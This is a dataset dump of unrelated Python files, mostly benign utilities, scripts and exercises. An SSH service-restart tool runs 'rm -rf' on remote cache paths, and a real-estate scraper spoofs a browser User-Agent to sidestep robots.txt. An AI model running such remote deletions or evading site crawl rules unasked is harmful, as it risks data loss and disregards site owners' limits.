\"lot_status\", \"currency\",\n \"kind\", \"value\", \"rate\", \"bill\"\n]\n\n\nclass TendersUtility(ItemsUtility):\n\n views = {\n MODE_REGULAR: 'report/tenders_owner_date',\n MODE_TEST: 'report/tenders_test_owner_date',\n MODE_ALL: 'report/tenders_all_owner_date'\n }\n\n headers = HEADERS\n headers_info = None\n\n def __init__(self, broker, period, config,\n timezone=DEFAULT_TIMEZONE, mode=DEFAULT_MODE,\n headers_info=None):\n self.kinds = ['general', 'special', 'defense', 'other', '_kind']\n self.headers_info = headers_info\n super(TendersUtility, self).__init__(\n broker, period, config,\n operation=\"tenders\", timezone=timezone, mode=mode)\n\n def row(self, record):\n if record.get('kind') not in self.kinds and record.get('startdate', '') < NEW_ALG_DATE:\n self.Logger.info('Skip tender {} by kind'.format(record.get('tender', '')))\n return '', ''\n row = list(record.get(col, '') for col in self.headers[:-2])\n value, rate = self.convert_value(record)\n r = str(rate) if rate else ''\n row.append(r)\n payment_year = self.get_payment_year(record)\n payment = self.get_payment(value, year=payment_year)\n row.append(payment)\n if self.headers_info:\n row += list(record.get(col, '') for col in self.headers_info)\n self.Logger.info(\n \"Tenders: refund {} for tender {} with value {}\".format(\n payment, row[0], value\n )\n )\n version = self.get_record_payment_version(record)\n return row, version\n\n\ndef run():\n parser = get_arguments_parser()\n parser.add_argument(\n '--kind',\n metavar='Kind',\n action=Kind,\n help='Kind filtering functionality. '\n 'Usage: --kind ='\n )\n\n args = parser.parse_args()\n config = read_config(args.config) \n dictConfig(config)\n utility = TendersUtility(\n args.broker, args.period,\n config, timezone=args.timezone, mode=args.mode)\n utility.kinds = args.kind\n utility.run()\n\n\nif __name__ == \"__main__\":\n run()\n","sub_path":"reports/utilities/tenders.py","file_name":"tenders.py","file_ext":"py","file_size_in_byte":2511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"543864387","text":"#!/usr/bin/env python\nfrom turtlebot_drive import Turtlebot3_drive\nimport rospy\n\nclass drive(Turtlebot3_drive):\n\n def __init__(self, team):\n super(drive, self).__init__(team)\n\n def logic(self):\n if self.initial:\n self.initial = False\n return \"walk\"\n\n if self.top_center_sensor - self.bottom_center_sensor > 0.1:\n print('seek')\n if self.bottom_center_sensor > self.bottom_left_sensor:\n return \"turn left\"\n elif self.bottom_center_sensor > self.bottom_right_sensor:\n return \"turn right\"\n else:\n return \"run\"\n \n else:\n print('avoid')\n if self.bottom_right_sensor > self.bottom_left_sensor:\n return \"turn right\"\n else:\n return \"turn left\"\n\nif __name__ == '__main__':\n rospy.init_node('drive', anonymous=True)\n rate = rospy.Rate(10)\n try:\n ttb = drive(\"black\")\n while not rospy.is_shutdown():\n ttb.controlLoop()\n rate.sleep()\n except rospy.ROSInterruptException:\n ttb.updatecommandVelocity(0.0, 0.0)\n","sub_path":"turtlebot3_simulations/turtlebot3_gazebo/src/py/ttb1.py","file_name":"ttb1.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"147649971","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis program is scrapying the data from the website: https://immo.vlan.be/en\nFour main url link has been used to make the scraping data easier.\n\nCertain changes has been done in the setting.py file \n1. DOWNLOAD_DELAY = 5 ----- This help delay the program by 5 seconds.\n2. FEED_EXPORT_ENCODING = 'utf-8' ----- This help scraped data be in UTF-8 standard encording this makes scraped data clean and easy to understand.\n3. HTTPCACHE_ENABLED = True ----- This will not hit the server for requests already done tests will run much faster and the website will save resources.\n\"\"\"\n\nimport scrapy\nfrom time import sleep\n\nclass InformationSpider(scrapy.Spider):\n \"\"\"\n This is the initial phase of the program. URL link to work with are stated here. \n This is generated automatically when runing Scrapy command at the very beginning.\n Example base on this senario:\n \n scrapy startproject scrap_realestate\n scrapy genspider information immo.vlan.be\n \"\"\"\n\n name = 'information'\n allowed_domains = ['immo.vlan.be'] # In most cases an extra '/' is add at the very end. We need to remove that extra '/'.\n \n # change the request_header to be oon safe side from robot.txt\n def start_requests(self):\n \"\"\"\n This is the method where we state what are the links that program needs to follow at very beginning.\n Four main url link has been used to make the scraping data easier and collect some data that make sense at very beginning.\n \"\"\"\n\n sale_house = \"https://immo.vlan.be/en/real-estate/house/for-sale?propertysubtypes=residence,villa,mixed-building,master-house,cottage,bungalow,chalet,mansion&countries=belgium&noindex=1\"\n rent_house = \"https://immo.vlan.be/en/real-estate/house/for-rent?propertysubtypes=residence,villa,mixed-building,master-house,cottage,bungalow,chalet,mansion&countries=belgium&noindex=1\"\n sale_apartment = \"https://immo.vlan.be/en/real-estate/flat/for-sale?propertysubtypes=flat---apartment,ground-floor,penthouse,duplex,flat---studio,loft,triplex&countries=belgium&noindex=1\"\n rent_apartment = \"https://immo.vlan.be/en/real-estate/flat/for-rent?propertysubtypes=flat---apartment,ground-floor,penthouse,duplex,flat---studio,loft,triplex&countries=belgium&noindex=1\"\n\n url_lst = [sale_house, rent_house, sale_apartment, rent_apartment]\n \n # Working with the for loop and statically filling the required data before hand\n for link in url_lst:\n if link == sale_house:\n type_of_property = \"house\"\n type_of_sale = \"sale\"\n elif link == sale_apartment:\n type_of_property = \"apartment\"\n type_of_sale = \"sale\"\n elif link == rent_house:\n type_of_property = \"house\"\n type_of_sale = \"rent\"\n elif link == rent_apartment:\n type_of_property = \"apartment\"\n type_of_sale = \"rent\"\n \n yield scrapy.Request(url=link, callback=self.parse, meta={'property_type': type_of_property, 'sale_type': type_of_sale},\n headers={\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36\"})\n \n def parse(self, response):\n type_of_property = response.request.meta[\"property_type\"]\n type_of_sale = response.request.meta[\"sale_type\"]\n \n for path in response.xpath(\"//div[@class='col-lg-7']/h2/a\"):\n property_subtype = path.xpath(\".//text()\").get()\n property_subtype = (property_subtype.split())[0]\n link = path.xpath(\".//@href\").get()\n yield response.follow(url=link, callback=self.parse_collect, meta={'property_subtype': property_subtype, 'property_type': type_of_property, 'sale_type': type_of_sale}, \n headers={\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36\"})\n\n for i in range(2,21):\n path = f\"//div[@class='pager']//ul/li[{i}]/a/@href\"\n next_page = response.xpath(path).get()\n yield scrapy.Request(url=next_page, callback=self.parse, meta={'property_type': type_of_property, 'sale_type': type_of_sale},\n headers={\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36\"})\n\n def parse_collect(self, response):\n address = response.xpath(\"//span[@class='address-line ico btn-address pl-4']/text()\").get()\n post_code = response.xpath(\"//span[@class='city-line pl-4']/text()[1]\").get()\n city = response.xpath(\"//span[@class='city-line pl-4']/text()[2]\").get()\n\n type_of_property = response.request.meta[\"property_type\"]\n property_subtype_info = response.request.meta[\"property_subtype\"]\n type_of_sale = response.request.meta[\"sale_type\"]\n bed_rooms = response.xpath(\"//div[@class='fs-4'][1]/text()\").get()\n living_surface = response.xpath(\"//div[@title='Livable Surface']//div[3]/text()\").get()\n \n # Information regarding property price \n price = str(response.xpath(\"//span[@class='price']/text()\").get())\n try:\n price = price[2:]\n except:\n price = price\n\n \n def filter_search_info(collapse, search):\n \"\"\"\n Function to filter the scraping data. search specific word and filter regarding the search.\n \"\"\"\n try:\n left = []\n right = []\n for num in [6,8]:\n try:\n title_info = response.xpath(\"//div[@id='{}']/div/div[@class='col-{}']/text()\".format(collapse, num)).getall()\n num_2 = 6 if num ==6 else 4\n title_data = response.xpath(\"//div[@id='{}']/div/div[@class='col-{} text-right']/text()\".format(collapse, num_2)).getall()\n data_gathered = None\n\n for i in title_info:\n left.append(i.strip())\n\n for i in title_data:\n right.append(i.strip())\n \n except:\n pass \n except:\n data_gathered = None\n \n if search in left:\n for info_match, data_match in zip(left,right):\n data_gathered = data_match\n \n else:\n data_gathered = None\n\n return data_gathered\n \n def yes_no(result):\n \"\"\"\n Generate the Yes/No information. After scraping the data.\n \"\"\"\n if result == None or result == \"No\":\n info = \"No\"\n else:\n info = \"Yes\"\n \n return info\n \n # Information regarding Number of facades\n kitchen_equipment = filter_search_info('collapse_kitchenbath_details', \"Kitchen equipment\")\n kitchen_equipment = yes_no(kitchen_equipment)\n\n # Furnished details \n furnished = filter_search_info('collapse_indoor_details', \"Furnished\")\n furnished = yes_no(furnished)\n\n # Terrace data inforamtion\n terrace = filter_search_info('collapse_outdoor_details', \"Terrace\")\n terrace = yes_no(terrace)\n\n # Terrace Size\n terrace_size = filter_search_info('collapse_outdoor_details', \"Surface terrace\") \n\n # Garden data inforamtion\n garden = filter_search_info('collapse_outdoor_details', \"Garden\")\n garden = yes_no(garden)\n\n # Garden Size\n garden_size = filter_search_info('collapse_outdoor_details', \"Surface garden\")\n\n # Information regarding Number of facades\n facades = filter_search_info('collapse_outdoor_details', \"Number of facades\")\n\n # Information regarding the swimming pool\n swimming_pool = filter_search_info('collapse_outdoor_details', \"Swimming pool\")\n swimming_pool = yes_no(swimming_pool)\n \n # Information regarding the build year\n build_year = filter_search_info('collapse_general_info', \"Build Year\")\n\n yield {\n \"Address\": address,\n \"Post Code\": post_code,\n \"City\": city,\n \"Type of property\": type_of_property,\n \"Property Subtype\": property_subtype_info,\n \"Price\": price,\n \"Type of sale\": type_of_sale,\n \"Number of rooms\": bed_rooms,\n \"Area\": living_surface,\n \"Fully equipped kitchen\": kitchen_equipment,\n \"Furnished\": furnished,\n \"Terrace\": terrace,\n \"Terrace Area\": terrace_size,\n \"Garden\": garden,\n \"Garden Area\":garden_size,\n \"Number of facades\": facades,\n \"Swimming pool\": swimming_pool,\n \"State of the building\": build_year \n }","sub_path":"scrap_realestate/scrap_realestate/spiders/information.py","file_name":"information.py","file_ext":"py","file_size_in_byte":9069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"513321092","text":"\"\"\"\nThe script is an example of weather shopper\nThis Selenium Python code will selects the most expensive Moistuzier product and adds it to the cart and takes the screenshot of the added Product\n\n\"\"\"\n\n\nfrom selenium import webdriver\nimport time\n\ndef launch_webpage():\n \"This function launches the website and navigates the provided URL\"\n global driver\n driver = webdriver.Chrome()\n driver.maximize_window()\n driver.get(\"https://weathershopper.pythonanywhere.com/moisturizer\")\n\ndef add_expensive_product_to_cart():\n \"This function extracts the price of each product, take selects the expensive value, prints the expensive item name and add it to the cart\"\n price_list=[]\n products=driver.find_elements_by_xpath(\"//p[contains(text(),'Price')]\")\n for item in products: \n price=int(item.text.split()[-1])\n price_list.append(price)\n print(\"The list of of Sunscreen products price are: \",price_list)\n price_list.sort()\n most_expensive=price_list[-1]\n expensive_product=driver.find_element_by_xpath(\"//p[contains(text(),'%d')]/parent::div/p[@class='font-weight-bold top-space-10']\"%most_expensive).text\n print(\"The expensive product is %s \"%expensive_product, \"and the price is %d\"%most_expensive)\n driver.find_element_by_xpath(\"//p[contains(text(),'%d')]/following-sibling::button\"%most_expensive).click()\n\ndef click_on_cart():\n #This function will clcik and take screenshot of the products added to the cart.\n driver.find_element_by_xpath(\"//span[@id='cart']\").click()\n driver.save_screenshot(\"screenshot.png\")\n\ndef close_webpage():\n \"This function closes the browser\"\n driver.close()\n\nif __name__ == \"__main__\":\n #This calling function will launch the webpage and navigates to the provided url.\n launch_webpage()\n time.sleep(2)\n\n #This calling function will add the expensive moisturizer product to the cart.\n add_expensive_product_to_cart()\n\n #This calling function will clcik and take screenshot of the products added to the cart.\n click_on_cart()\n\n #This calling function will close the browser.\n close_webpage()\n\n","sub_path":"test_to_add_most_expensive_moisturizer_to_cart.py","file_name":"test_to_add_most_expensive_moisturizer_to_cart.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"557171413","text":"import heapq\nimport json\nimport math\ndef getCoseFiveStores(locList):\n with open ('newLoc.json') as f:\n store = []\n tempDic = json.load(f)\n for j in range(len(tempDic[\"location\"])):\n lats = float(locList[1])\n late = float(tempDic[\"location\"][j][\"geo\"][1])\n lngs = float(locList[0])\n lnge = float(tempDic[\"location\"][j][\"geo\"][0])\n distance = math.acos(math.sin(math.pi*lats/180.0)*math.sin(math.pi*late/180.0)+math.cos(math.pi*lats/180.0)*math.cos(math.pi*late/180.0)*math.cos(math.pi*lngs/180.0-math.pi*lnge/180.0))*3963\n if distance != 0:\n heapq.heappush(store, distance)\n \n for k in range (5):\n print(heapq.heappop(store))\n\nif __name__ == \"__main__\":\n locList = [-118.1240209, 34.0914517]\n getCoseFiveStores(locList)\n \n","sub_path":"car_rental/disTo5Stores.py","file_name":"disTo5Stores.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"633932103","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n# __author__ = \"Yang Tie Qiao\"\nimport datetime\nimport os\nimport re\nimport time\nfrom time import sleep\n\nfrom src.web_auto.common.read_yaml import YamlParser\nfrom src.reboot_box.ssh_client_utils import MySshClient\nfrom src.utils.log_utils import LogUtils\n\nlog = LogUtils()\n\n\nclass RebootBox:\n\n def __init__(self, th_id, env, box, del_cache=\"y\"):\n ym = YamlParser(\"server_host\", os.getcwd())\n self.env = env\n self.data = ym.get_yaml_data(self.env)\n self.user = self.data[\"user\"]\n self.psd = self.data[\"psw\"]\n self.my_ssh_client = MySshClient()\n self.box = box\n self.del_cache = del_cache\n self.th_id = th_id\n # self.now_time = datetime.datetime.now().strftime('%H:%M:%S')\n\n def get_host_from_box(self):\n for key in self.data.keys():\n if \"host\" in key:\n if self.box in self.data[key][\"box\"]:\n self.host = self.data[key][\"url\"]\n else:\n self.host = None\n\n def connect_host(self):\n self.get_host_from_box()\n if self.host:\n log.info(str(self.th_id) + \"线程:开始连接\" + self.env + \"环境的BOX: \" + self.box + \" ,IP为: \" + self.host)\n return self.my_ssh_client.ssh_login(self.host, self.user, self.psd)\n else:\n log.error(str(self.th_id) + \"线程:输入的BOX:\" + self.box + \"不在本地配置文件中!\")\n\n def check_box_from_host(self):\n if self.connect_host() == 1000:\n log.info(str(self.th_id) + \"线程:连接服务器IP:\" + self.host + \"成功!\")\n self.now_time = self.my_ssh_client.execute_some_command(\"date | awk '{print $4}'\")\n box_list = self.my_ssh_client.execute_some_command('cd /qhapp/apps/lo-boxs/;ls')\n box_list = box_list.split(\"\\n\")\n if self.box in box_list:\n log.info(str(self.th_id) + \"线程:BOX:\" + self.box + \"在\" + self.env + \"环境的服务器 \" + self.host + \"中存在!\")\n return True\n else:\n self.my_ssh_client.ssh_logout()\n return False\n\n def execute_reboot_command(self):\n if self.del_cache == \"n\" or self.del_cache == \"N\":\n command_moudle = 'cd /qhapp/apps/lo-boxs/%s/;sh shutdown-box.sh %s; ./launch-box.sh ;'\n else:\n command_moudle = 'cd /qhapp/apps/lo-boxs/%s/; sh shutdown-box.sh %s; rm -rf /qhapp/apps/lo-boxs/repository/com/ldygo/zuche-*; ./launch-box.sh ;'\n command = command_moudle % (self.box, self.box)\n log.info(str(self.th_id) + \"线程:执行命令:\" + command)\n self.my_ssh_client.execute_some_command(command)\n while True:\n sleep(2)\n if self.is_reboot_success():\n log.info(str(self.th_id) + \"线程:已经完成对\" + self.env + \"环境的BOX:\" + self.box + \"的重启!\")\n self.my_ssh_client.ssh_logout()\n break\n elif self.is_reboot_Fail():\n log.error(\n str(self.th_id) + \"线程:出错了,\" + self.env + \"环境的BOX: \" + self.box + \"重启的错误为:\" + self.is_reboot_Fail())\n self.my_ssh_client.ssh_logout()\n break\n else:\n # log.info(str(self.th_id) + \"线程:等待重启完成......\")\n pass\n\n def execute_stop_command(self):\n command_moudle = 'cd /qhapp/apps/lo-boxs/%s/;sh shutdown-box.sh %s'\n command = command_moudle % (self.box, self.box)\n log.info(str(self.th_id) + \"线程:执行命令:\" + command)\n rst = self.my_ssh_client.execute_some_command(command)\n while True:\n if 'ok' in rst:\n log.info(str(self.th_id) + \"线程:已经完成对\" + self.env + \"环境的BOX:\" + self.box + \"的服务停止操作!\")\n self.my_ssh_client.ssh_logout()\n break\n elif 'not running!'in rst:\n log.warning(str(self.th_id) + \"线程:\" + self.env + \"环境的BOX:\" + self.box + \"不是启动状态,跳过!\")\n self.my_ssh_client.ssh_logout()\n break\n else:\n sleep(2)\n\n\n def is_reboot_success(self):\n log_command = \" cd /qhapp/apps/lo-boxs/%s/;cat boxlogs/lifecycle.log| grep 'onAllGearsStarted end'|awk -F' ' '{print $2}'|awk -F'.' '{print $1}' \"\n logs = self.my_ssh_client.execute_some_command(log_command % self.box).split(\"\\n\")\n rst = [x for x in logs if x != '']\n for i in range(len(rst)):\n if time.strptime(rst[i], \"%H:%M:%S\") >= time.strptime(self.now_time, \"%H:%M:%S\"):\n return True\n\n def is_reboot_Fail(self):\n log_command = \" cd /qhapp/apps/lo-boxs/%s/;cat boxlogs/lifecycle.log| grep 'ERROR'|awk -F' ' '{print $2}'|awk -F'.' '{print $1}' \"\n logs = self.my_ssh_client.execute_some_command(log_command % self.box).split(\"\\n\")\n rst = [x for x in logs if x != '']\n for i in range(len(rst)):\n if time.strptime(rst[i], \"%H:%M:%S\") >= time.strptime(self.now_time, \"%H:%M:%S\"):\n error_log_cmd = \"cd /qhapp/apps/lo-boxs/%s/boxlogs; grep -A 10 -i '%s.[0-9][0-9][0-9].ERROR' lifecycle.log\"\n error_log = self.my_ssh_client.execute_some_command(error_log_cmd % (self.box, rst[i]))\n return error_log\n\n def do_reboot(self):\n if self.check_box_from_host():\n self.execute_reboot_command()\n else:\n log.warning(str(self.th_id) + \"线程:BOX:\" + self.box + \"不在host中,请参照svn最新的环境信息更新server_host.yaml\")\n\n def stop_box(self):\n if self.check_box_from_host():\n self.execute_stop_command()\n else:\n log.warning(str(self.th_id) + \"线程:BOX:\" + self.box + \"不在host中,请参照svn最新的环境信息更新server_host.yaml\")","sub_path":"src/reboot_box/reboot_box_utils.py","file_name":"reboot_box_utils.py","file_ext":"py","file_size_in_byte":5990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"295015001","text":"# -*- coding: utf-8 -*-\ndef primo():\n m = int(input())\n c = True\n c1 = False\n if m == 1:\n return c1\n i = 2\n while i**2 <= m:\n if m%i==0:\n return c1\n i+=1\n return c\nn = int(input())\nfor i in range(n):\n if primo()==True:\n print(\"Prime\")\n else:\n print(\"Not Prime\")","sub_path":"URI-py/1221.py","file_name":"1221.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"136262616","text":"# coding:utf-8\n\"\"\"\ncreate on Jan 6,2019 by Wayne Yu\nFun:按薛雪要求处理对应的数据\n输入为基础数据矩阵\n输出为时延五张表(联通、电信、移动、最优、平均),以及丢包率五张表\n\"\"\"\nimport csv\nimport time\n\n\ndef write_csv(file_list, file_name):\n \"\"\"\n 写CSV 文件\n :param file_list:\n :return: None\n \"\"\"\n f = open(file_name, \"w\", newline='', encoding='GBK')\n writer = csv.writer(f)\n province_list = [\" \", \"北京\", \"天津\", \"河北\", \"山西\", \"内蒙古\", \"辽宁\", \"吉林\", \"黑龙江\", \"山东\", \"河南\", \"上海\", \"江苏\", \"浙江\",\n \"安徽\", \"福建\", \"江西\", \"湖北\", \"湖南\", \"广东\", \"广西\", \"海南\", \"重庆\", \"四川\", \"贵州\", \"云南\", \"西藏\", \"陕西\", \"甘肃\", \"青海\",\n \"宁夏\", \"新疆\"]\n writer.writerow(province_list)\n line_cnt = 1\n for item in file_list:\n item.insert(0, province_list[line_cnt])\n writer.writerow(item)\n line_cnt += 1\n f.close()\n\n\ndef process_data(file_name_1, file_name_2):\n base_matrix = [] # 基础矩阵数据\n province_list = [\"北京\",\"天津\",\"河北\",\"山西\",\"内蒙古\",\"辽宁\",\"吉林\",\"黑���江\",\"山东\",\"河南\",\"上海\",\"江苏\",\"浙江\",\n \"安徽\",\"福建\",\"江西\",\"湖北\",\"湖南\",\"广东\",\"广西\",\"海南\",\"重庆\",\"四川\",\"贵州\",\"云南\",\"西藏\",\"陕西\",\"甘肃\",\"青海\",\"宁夏\",\"新疆\"]\n # 打开基础矩阵数据文件,并读取,写进base_matrix 列表\n file_read = open(file_name_1, 'r', encoding='utf-8-sig')\n line_cnt = 0\n for line in file_read.readlines():\n line_cnt += 1\n # print(line_cnt, \":\", line.strip())\n base_matrix.append(line.strip())\n # print(base_matrix)\n file_read.close()\n # 打开省会与省对应数据表,并处理base_matrix表(将省会名称替换为省名称)\n file_read = open(file_name_2, 'r', encoding='utf-8-sig')\n line_cnt = 0\n for line in file_read.readlines():\n line_cnt += 1\n city_name = line.strip().split(',')[0]\n province_name = line.strip().split(',')[1]\n # print(line_cnt, \":\", city_name, province_name)\n # 搜索base_matrix,并进行替换\n base_matrix = [line_str.replace(city_name, province_name) for line_str in base_matrix]\n # province_name_split = \"#\"+province_name+\"#\"\n # base_matrix = [line_str.replace(province_name, province_name_split) for line_str in base_matrix]\n file_read.close()\n [print(item) for item in base_matrix]\n print(len(province_list))\n\n # ######################移动开始############################\n yidong_delay = [([0]*31) for i in range(31)] # 生成31*31的各省移动_时延矩阵\n # 处理并生成移动时延矩阵\n # 遍历\n for i in range(31):\n for j in range(31):\n # print(i, j, province_list[i]+\"移动,移动\"+province_list[j])\n find_str = province_list[i]+\"移动,移动\"+province_list[j]\n aim_delay = 0\n for line_str in base_matrix:\n # 如果找到了指定字符串\n if line_str.find(find_str) == 0:\n print(i, j, province_list[i], province_list[j], line_str.strip().split(',')[2])\n aim_delay = line_str.strip().split(',')[2]\n yidong_delay[i][j] = aim_delay\n print(yidong_delay)\n # ################移动结束##################################\n\n # ################联通开始##################################\n liantong_delay = [([0]*31) for i in range(31)] # 生成31*31的各省联通时延矩阵\n # 处理并生成联通时延矩阵\n # 遍历\n for i in range(31):\n for j in range(31):\n # print(i, j, province_list[i]+\"联通,联通\"+province_list[j])\n find_str = province_list[i]+\"联通,联通\"+province_list[j]\n aim_delay = 0\n for line_str in base_matrix:\n # 如果找到了指定字符串\n if line_str.find(find_str) == 0:\n print(i, j, province_list[i], province_list[j], line_str.strip().split(',')[2])\n aim_delay = line_str.strip().split(',')[2]\n liantong_delay[i][j] = aim_delay\n print(liantong_delay)\n # ################移动结束##################################\n\n # ################电信开始##################################\n dianxin_delay = [([0]*31) for i in range(31)] # 生成31*31的各省电信时延矩阵\n # 处理并生成电信时延矩阵\n # 遍历\n for i in range(31):\n for j in range(31):\n find_str = province_list[i]+\"电信,电信\"+province_list[j]\n aim_delay = 0\n for line_str in base_matrix:\n # 如果找到了指定字符串\n if line_str.find(find_str) == 0:\n print(i, j, province_list[i], province_list[j], line_str.strip().split(',')[2])\n aim_delay = line_str.strip().split(',')[2]\n dianxin_delay[i][j] = aim_delay\n print(dianxin_delay)\n # ################移动结束#################################\n\n # ################求最优和平均#############################\n best_delay = [([0]*31) for i in range(31)] # 生成31*31的各省运营商最优时延矩阵\n average_delay = [([0] * 31) for i in range(31)] # 生成31*31的各省运营商平均时延矩阵\n nums = []\n for i in range(31):\n for j in range(31):\n if float(yidong_delay[i][j]) != 0:\n nums.append(float(yidong_delay[i][j]))\n if float(liantong_delay[i][j]) != 0:\n nums.append(float(liantong_delay[i][j]))\n if float(dianxin_delay[i][j]) != 0:\n nums.append(float(dianxin_delay[i][j]))\n min_delay = min(nums)\n best_delay[i][j] = min_delay\n average_delay[i][j] = max(nums) / len(nums)\n nums = []\n print(best_delay)\n print(average_delay)\n ###########################################################\n # 按要求输出yidong_delay\n write_csv(yidong_delay, \"yidong_delay.csv\")\n # 按要求输出dianxin_delay\n write_csv(dianxin_delay, \"dianxin_delay.csv\")\n # 按要求输出liantong_delay\n write_csv(liantong_delay, \"liantong_delay.csv\")\n # 按要求输出最优矩阵\n write_csv(best_delay, \"best_delay.csv\")\n # 按要求输出平均矩阵\n write_csv(average_delay, \"average_delay.csv\")\n\n\nif __name__ == \"__main__\":\n # process_file = \"分小时算平均-电信到移动_ywy.csv\"\n process_file_1 = \"base_matrix_data.csv\"\n process_file_2 = \"city_province.csv\"\n process_data(process_file_1, process_file_2)\n","sub_path":"004NetDataAnalysis/deal_matrix.py","file_name":"deal_matrix.py","file_ext":"py","file_size_in_byte":6715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"478253098","text":"import os, sys\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nparent_dir_path = os.path.abspath(os.path.join(dir_path, os.pardir))\nsys.path.insert(0, parent_dir_path)\n\nfrom Ziggeo import Ziggeo\n\nif(len(sys.argv) < 3):\n\tprint(\"Error\\n\")\n\tprint(\"Usage: $>python videos_count.py YOUR_APP_TOKEN YOUR_PRIVATE_KEY\\n\")\n\tsys.exit()\n\napp_token = sys.argv[1]\nprivate_key = sys.argv[2]\n\nziggeo = Ziggeo(app_token, private_key)\n\nvideo_count = ziggeo.videos().count({})\n\nprint(video_count['count'])","sub_path":"demos/videos_count.py","file_name":"videos_count.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"522222287","text":"import paramiko\nssh = paramiko.SSHClient()\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\nssh.connect('10.252.80.54', 22, 'cass', key_filename='/Users/cass/.ssh/id_rsa')\nssh\nstdin, stdout, stderr = ssh.exec_command('echo \"nihao\" > 123')\nprint(stdout.readlines())\n\n\nsftp = paramiko.SFTPClient.from_transport(ssh.get_transport())\nsftp = ssh.open_sftp()\nsftp.put('test_paramiko.py', 'test_paramiko_upload')\nsftp.get('.profile', 'test_paramiko_download')\n\n\n\n","sub_path":"test/test_paramiko.py","file_name":"test_paramiko.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"473531963","text":"# Created by Dmitriry Shin on July 25, 2020\nclass Node(object):\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n\ndef _checkBSTHelper(root, low, high):\n if root is None:\n return True\n data = root.data\n if (data > low and data < high) and _checkBSTHelper(root.left, low, data) and _checkBSTHelper(root.right, data, high):\n return True\n return False\n\n\ndef checkBST(root):\n return _checkBSTHelper(root, float('-inf'), float('inf'))\n\n\ndef main():\n node = Node(5)\n node.left = Node(1)\n node.right = Node(7)\n print(checkBST(node)) # True\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Trees/checkBST.py","file_name":"checkBST.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"32469272","text":"#coding=utf-8\n\"\"\"\nfilter()也接收一个函数和一个序列。和map()不同的是,filter()把传入的函数依次作用于每个元素,然后根据返回值是True还是False决定保留还是丢弃该元素。\n\nmap、filter返回的都是迭代器(惰性计算序列),调用时才执行。\n\"\"\"\n#在一个list中,删掉偶数,只保留奇数\ndef filter_1(x):\n if not isinstance(x,(int,float)):\n raise TypeError(\"参数类型错误\")\n return x%2!=0\nresult = filter(filter_1,[1,2,3,4,5,6,7,8,9])\nprint(list(result))\n\n#\ndef not_empty(x):\n \"\"\"\n if not isinstance(x,(str)):\n raise TypeError(\"参数类型错误\")\n \"\"\"\n return x and x.strip()\nprint(list(filter(not_empty,[\"\",\" \",\"A\",None])))\n\n#练习\n#回数是指从左向右读和从右向左读都是一样的数,例如12321,909。请利用filter()筛选出回数:\ndef is_palindrome(n):\n s = str(n)\n for i in range(len(s)):\n return n and s[i] == s[-(i + 1)]\n# 测试:\noutput = filter(is_palindrome, range(1, 1000))\nprint('1~1000:', list(output))\nif list(filter(is_palindrome, range(1, 200))) == [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 22, 33, 44, 55, 66, 77, 88, 99, 101, 111, 121, 131, 141, 151, 161, 171, 181, 191]:\n print('测试成功!')\nelse:\n print('测试失败!')","sub_path":"liaoxuefeng/函数式编程/高阶函数/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"164850999","text":"#! /usr/bin/env python3\nimport sys\n\n\nimport logging\nlogger = logging.getLogger('' if __name__ == '__main__' else __name__)\ndebug, info, warning, error, fatal = logger.debug, logger.info, logger.warning, logger.error, logger.critical\n\n__all__ = 'debug warning info error fatal'.split()\n\n\nif sys.stderr.isatty():\n\timport tqdm\n\tprogress_bar = tqdm.tqdm\nelse:\n\tdef progress_bar(iterable, **kwargs):\n\t\treturn iterable\n__all__ += ['progress_bar']\n\n\nfrom .thumbnail import thumbnail, thumbdir, recurse\n\n__all__.extend('thumbnail thumbdir recurse'.split())\n","sub_path":"screencap/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"645248475","text":"class Solution(object):\n def simplifiedFractions(self, n):\n \"\"\"\n :type n: int\n :rtype: List[str]\n \"\"\"\n if n<=1:\n return []\n \n res = []\n visited = set()\n \n for i in range(2,n+1):\n for j in range(1,i):\n if j/float(i) not in visited:\n visited.add(j/float(i))\n res.append(str(j)+'/'+str(i))\n\n return res","sub_path":"1447-Simplified 